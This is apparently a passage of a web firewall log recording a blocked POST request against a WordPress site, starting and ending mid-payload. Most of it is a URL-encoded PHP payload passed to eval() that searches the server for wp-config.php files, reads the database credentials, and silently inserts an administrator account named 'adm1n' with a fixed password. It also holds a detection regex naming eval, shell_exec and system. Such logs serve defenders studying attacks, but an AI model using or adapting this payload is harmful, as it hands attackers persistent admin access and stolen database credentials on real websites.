0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:27:15","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\naReDtp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B